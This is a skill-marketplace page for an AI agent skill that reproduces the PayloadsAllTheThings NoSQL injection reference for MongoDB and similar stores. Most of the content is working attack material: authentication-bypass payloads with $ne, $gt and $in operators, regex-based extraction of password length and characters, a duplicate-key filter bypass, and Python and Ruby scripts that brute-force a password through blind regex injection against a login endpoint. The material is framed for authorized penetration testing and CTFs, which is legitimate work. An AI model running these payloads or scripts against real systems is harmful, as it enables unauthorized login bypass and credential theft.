使用方法
- 复制安装命令,在自己的智能体环境安装前先检查源码包。
- 从原始文档核对所需工具、凭据和支持的宿主。
- 说明输入材料与期望交付物,并对照来源检查输出。
npx skills add https://github.com/smartworldarafath/rea_skill --skill payloads-nosqli开始前需了解
- 安装不包含模型订阅、API 额度或访问文件的权限。
- 仓库星数和安装量反映活跃情况,不等于独立质量或安全测试。
按源仓库内容呈现,保留标题、案例、代码、表格、链接以及原文引用的演示图片。
NoSQL Injection Payloads
Source: PayloadsAllTheThings/NoSQL Injection Category:payloads-injection| Skill ID:payloads-nosqli
Overview
NoSQL injection payloads for MongoDB, CouchDB, Redis, and document store bypass.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the NoSQL Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
NoSQL Injection
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
Summary
- Tools
- Methodology
- Operator Injection
- Authentication Bypass
- Extract Length Information
- Extract Data Information
- WAF and Filters
- Blind NoSQL
- POST with JSON Body
- POST with urlencoded Body
- GET
- Labs
- References
Tools
- codingo/NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool
- digininja/nosqlilab - A lab for playing with NoSQL Injection
- matrix/Burp-NoSQLiScanner - This extension provides a way to discover NoSQL injection vulnerabilities.
Methodology
NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like $ne, $gt, $regex, or $where in MongoDB.
Operator Injection
| Operator | Description |
|---|---|
| $ne | not equal |
| $regex | regular expression |
| $gt | greater than |
| $lt | lower than |
| $nin | not in |
Example: A web application has a product search feature
db.products.find({ "price": userInput })An attacker can inject a NoSQL query: { "$gt": 0 }.
db.products.find({ "price": { "$gt": 0 } })Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.
Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
- HTTP data
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto- JSON data
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}Extract Length Information
Inject a payload using the $regex operator. The injection will work when the length is correct.
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}Extract Data Information
Extract data with "$regex" query operator.
- HTTP data
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*- JSON data
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}Extract data with "$in" query operator.
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}WAF and Filters
Remove pre-condition:
In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.
{"id":"10", "id":"100"} In this case, the final value of "id" will be "100".
Blind NoSQL
POST with JSON Body
Python script:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += cPOST with urlencoded Body
Python script:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','&','$']:
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
print("Found one more char : %s" % (password+c))
password += cGET
Python script:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload=f"?username={username}&password[$regex]=^{password + c}"
r = requests.get(u + payload)
if 'Yeah' in r.text:
print(f"Found one more char : {password+c}")
password += cRuby script:
require 'httpx'
username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)
while true
CHARSET.each do |c|
unless GET_EXCLUDE.include?(c)
payload = "?username=#{username}&password[$regex]=^#{password + c}"
res = session.get(url + payload)
if res.body.to_s.match?('Yeah')
puts "Found one more char : #{password + c}"
password += c
end
end
end
endLabs
References
- Burp-NoSQLiScanner - matrix - January 30, 2021
- Getting rid of pre- and post-conditions in NoSQL injections - Reino Mostert - March 11, 2025
- Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015
- MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024
- NoSQL error-based injection - Reino Mostert - March 15, 2025
- NoSQL Injection in MongoDB - Zanon - July 17, 2016
- NoSQL injection wordlists - cr0hn - May 5, 2021
- Testing for NoSQL injection - OWASP - May 2, 2023
REA MCP Integration
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.Legal Notice
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.